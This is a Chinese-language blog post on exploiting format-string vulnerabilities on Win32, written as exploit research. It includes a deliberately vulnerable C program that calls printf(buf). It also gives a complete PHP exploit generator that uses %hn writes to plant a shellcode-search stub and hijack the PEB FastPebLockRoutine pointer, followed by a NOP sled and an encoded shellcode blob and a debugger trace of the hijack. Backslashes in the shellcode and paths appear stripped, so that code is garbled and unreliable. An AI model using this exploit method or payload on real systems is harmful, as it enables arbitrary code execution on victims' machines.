本文緣起KF在0dd郵件列表的問題,由於Win32平臺的格式化串漏洞相對很少,所以以前沒有關注過。不過David Litchfield曾經寫過Win32平臺格式化串漏洞的利用技術,但是他用的方法並不是很好,於是有了此文。[@more@]
1.1 Win32平臺格式化串與其它平臺的不同 在Linux平臺下直接指定要訪問的引數的"$"格式符在Win32下根本就不支援:
D:working esearchWin32 format2004.10.27>type d_test.c
main()
{
printf ("%6$d ", 6, 5, 4, 3, 2, 1);
}
用VC6編譯後執行檢視結果: D:working esearchWin32 format2004.10.27>cl d_test.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
d_test.c
Microsoft (R) Incremental Linker Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:d_test.exe
d_test.obj
D:working esearchWin32 format2004.10.27>d_test
$d
輸出的居然就是"$d"。所以在Linux平臺的那種"%%%d$hn"格式串在Win32下是無法利用,不過這也沒關係,用其它格式符pop引數就可以了。存在的弊端就是構造格式串的字串可能會稍長,但這在很多情況下是不影響的。
另外還有一個問題就是Win32的堆疊地址不如Linux/Unix那麼穩定,而且Win32堆疊地址一般都是0x0012e000這樣的地址,最開始的一個位元組包含0,所以覆蓋函式儲存在堆疊裡的返回地址的方法就不是那麼自如了(David Litchfield提到的方法是把堆疊地址放在格式串的最後,那麼和格式串結束符0正好組合成完整的堆疊地址),選堆疊地址作為shellcode地址也不是那麼穩定。下面我們將用例項演示Win32平臺格式串更好的利用方法。
1.2 Win32平臺格式化串的利用方法演示 首先我們構造一個存在格式化串漏洞的程式:
/* Windows format strings demo
*
* san@xfocus.org
* 2004.10.26
*/
#include
#define IOSIZE 1024
int main(int argc, char **argv )
{
FILE * binFileH;
char binFile[] = "binfile";
char buf[IOSIZE];
if ( (binFileH = fopen(binFile, "rb")) == NULL )
{
printf("can't open file %s! ", binFile);
exit();
}
memset(buf, 0, sizeof(buf));
fread(buf, sizeof(char), IOSIZE, binFileH);
printf("%d ", strlen(buf));
printf(buf);
fclose(binFileH);
}
這是一個很簡單的程式,它從當前目錄的"binfile"檔案讀取內容,然後把這些內容直接作為printf的引數列印,典型的格式化串漏洞。構造一個包含如下內容的"binfile"檔案:
AAAABBBB|%x|%x|%x|%x|%x
執行這個format程式:
D:working esearchWin32 format2004.10.27>format
23
AAAABBBB|666e6962|656c69|41414141|42424242|7c78257c
可以發現只需pop掉兩次引數就能顯示格式串最開始的內容。不過Win32下我們到底覆蓋什麼地址比較好呢?BasepCurrentTopLevelFilter指標是個不錯主意,但是它的地址在各種版本都不相同。由於格式化串漏洞可以實現多次往任意地址寫任意內容,那麼我們是否可以寫一段程式碼到一個地址,然後把這個地址寫到Peb->FastPebLockRoutine指標,那麼在程式退出時呼叫Peb->FastPebLockRoutine指標就能執行到我們的程式碼。我們的這個程式碼來實現搜尋堆疊中shellcode的任務: 7FFDF250 54 PUSH ESP
7FFDF251 5F POP EDI
7FFDF252 B8 90909090 MOV EAX,90909090
7FFDF257 FC CLD
7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A 57 PUSH EDI
7FFDF25B C3 RETN
這段程式碼的意思是從當前esp開始往高地址搜尋包含0x90909090的內容,如果找到就進入該程式碼執行。往esp高地址還是低地址搜尋取決於當時的情況。這個搜尋程式碼有12個位元組,加上覆蓋地址的4個位元組,一共是16個位元組,要求往記憶體地址寫8次。由於C語言處理字串有些麻煩,所以我用PHP寫了如下構造格式串的過程:
/* Windows format strings demo
*
* san@xfocus.org
* 2004.10.26
*/
$flag = 2;
$shellcode =
"xebx10x5bx4bx33xc9x66xb9x58x01x80x34x0bxf8xe2xfa".
"xebx05xe8xebxffxffxffx11xdaxf9xf8xf8xa7x9cx59xc8".
"xf8xf8xf8xa8x73xb8xf4x73xb8xe4x73x90xf0xa8x73x0f".
"x92xfaxa1x10x39xf8xf8xf8x1ax01xa0x73xf8x73x90xf0".
"xa0x07xcex77xb8xd8x07x8exfcx77xb8xdcx92xfbxa1x10".
"x5dxf8xf8xf8x1ax01x90xcbxcaxf8xf8x90x8fx8bxcaxa7".
"xacx07xaexf0x73x10x92xfdxa1x10x73xf8xf8xf8x1ax01".
"x79x14x68xf9xf8xf8xacx90xf9xf9xf8xf8x07xaexecxa8".
"xa8xa8xa8x92xf9x92xfax07xaexe0x73x20xcbx38xa8xa8".
"xa8x73x04x9ex3fxffxfaxf8x9ex73xbexd0x7ex3cx9ex71".
"xbfxfax92xe8xafxabx07xaexe4x92xf9xabx07xaexd8xa8".
"xa8xabx07xaexdcx73x20x90x9bx95x9cxf8x75xecxdcx7b".
"x14xacx73x04x92xecxa1xcbx38x71xfcx77x1ax03x3exbf".
"xe8xbcx06xbfxc4x06xbfxc5x71xa7xb0x71xa7xb4x71xa7".
"xa8x75xbfxe8xafxa8xa9xa9xa9x92xf9xa9xa9xaaxa9x07".
"xaexf4xcbx38xb0xa8x07xaexe8xa9xaex73x8dxc4x73x8c".
"xd6x80xfbx0dxaex73x8exd8xfbx0dxcbx31xb1xb9x55xfb".
"x3dxcbx23xf7x46xe8xc2x2ex8cxf0x39x33xffxfbx22xb8".
"x13x09xc3xe7x8dx1fxa6x73xa6xdcxfbx25x9ex73xf4xb3".
"x73xa6xe4xfbx25x73xfcx73xfbx3dx53xa6xa1x3bx10x21".
"x06x07x07x06xdcx81x9cx22x06xf1x6excax8cx69xf4x31".
"x44x5ex93x77x0axe0x99xc5x92x4cx78xd5xcax80x26x9c".
"xe8x5fx25xf4x67x2bxb3x49xe6x6fxf9xa4xe9x47x1d";
/*
7FFDF250 54 PUSH ESP
7FFDF251 5F POP EDI
7FFDF252 B8 90909090 MOV EAX,90909090
7FFDF257 FC CLD
7FFDF258 F2:AF REPNE SCAS DWORD PTR ES:[EDI]
7FFDF25A 57 PUSH EDI
7FFDF25B C3 RETN
*/
$fmt_array = array(
0x7FFDF250 => "0x5f54",
0x7FFDF252 => "0x90b8",
0x7FFDF254 => "0x9090",
0x7FFDF256 => "0xfc90",
0x7FFDF258 => "0xaff2",
0x7FFDF25A => "0xc357",
0x7FFDF022 => "0x7ffd",
0x7FFDF020 => "0xf250",
);
asort($fmt_array);
print_r($fmt_array);
$count = count($fmt_array);
$head = "";
$tail = "";
$last = 0;
foreach($fmt_array as $k => $v) {
printf("%x ", $k);
$b0 = sprintf("%c", (($k >> 24) & 0xff));
$b1 = sprintf("%c", (($k >> 16) & 0xff));
$b2 = sprintf("%c", (($k >> 8) & 0xff));
$b3 = sprintf("%c", (($k ) & 0xff));
if (!$last) {
$last += 8*$count+8*$flag;
}
$head .= "AAAA".$b3.$b2.$b1.$b0;
$tail .= "%".($v-$last)."c%hn";
$last = $v;
}
$fmt_str = $head.(str_repeat("%.8x", $flag)).$tail;
$fmt_str .= str_repeat("x90", 100).$shellcode;
$fp = fopen("binfile", "wb");
fwrite($fp, $fmt_str);
fclose($fp);
?>
生成"binfile"檔案後用SoftICE的Symbol Loader載入format.exe程式進行除錯,首先對0x7ffdf020下一個讀寫斷點:
:bpm 7ffdf020
:dd 7ffdf020
:g
執行4個g以後,0x7ffdf020的內容被改寫為0x7ffdf250,而且0x7ffdf250開始的地址也寫入了上面12個位元組搜尋shellcode的程式碼。這時在0x7ffdf250下一個斷點:
:bpx 7ffdf250
:g
執行兩個g以後就進入該地區:
001B:7FFDF250 54 PUSH ESP
001B:7FFDF251 5F POP EDI
001B:7FFDF252 B890909090 MOV EAX,90909090
001B:7FFDF257 FC CLD
001B:7FFDF258 F2AF REPNZ SCASD
001B:7FFDF25A 57 PUSH EDI
001B:7FFDF25B C3 RET
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10144097/viewspace-934637/,如需轉載,請註明出處,否則將追究法律責任。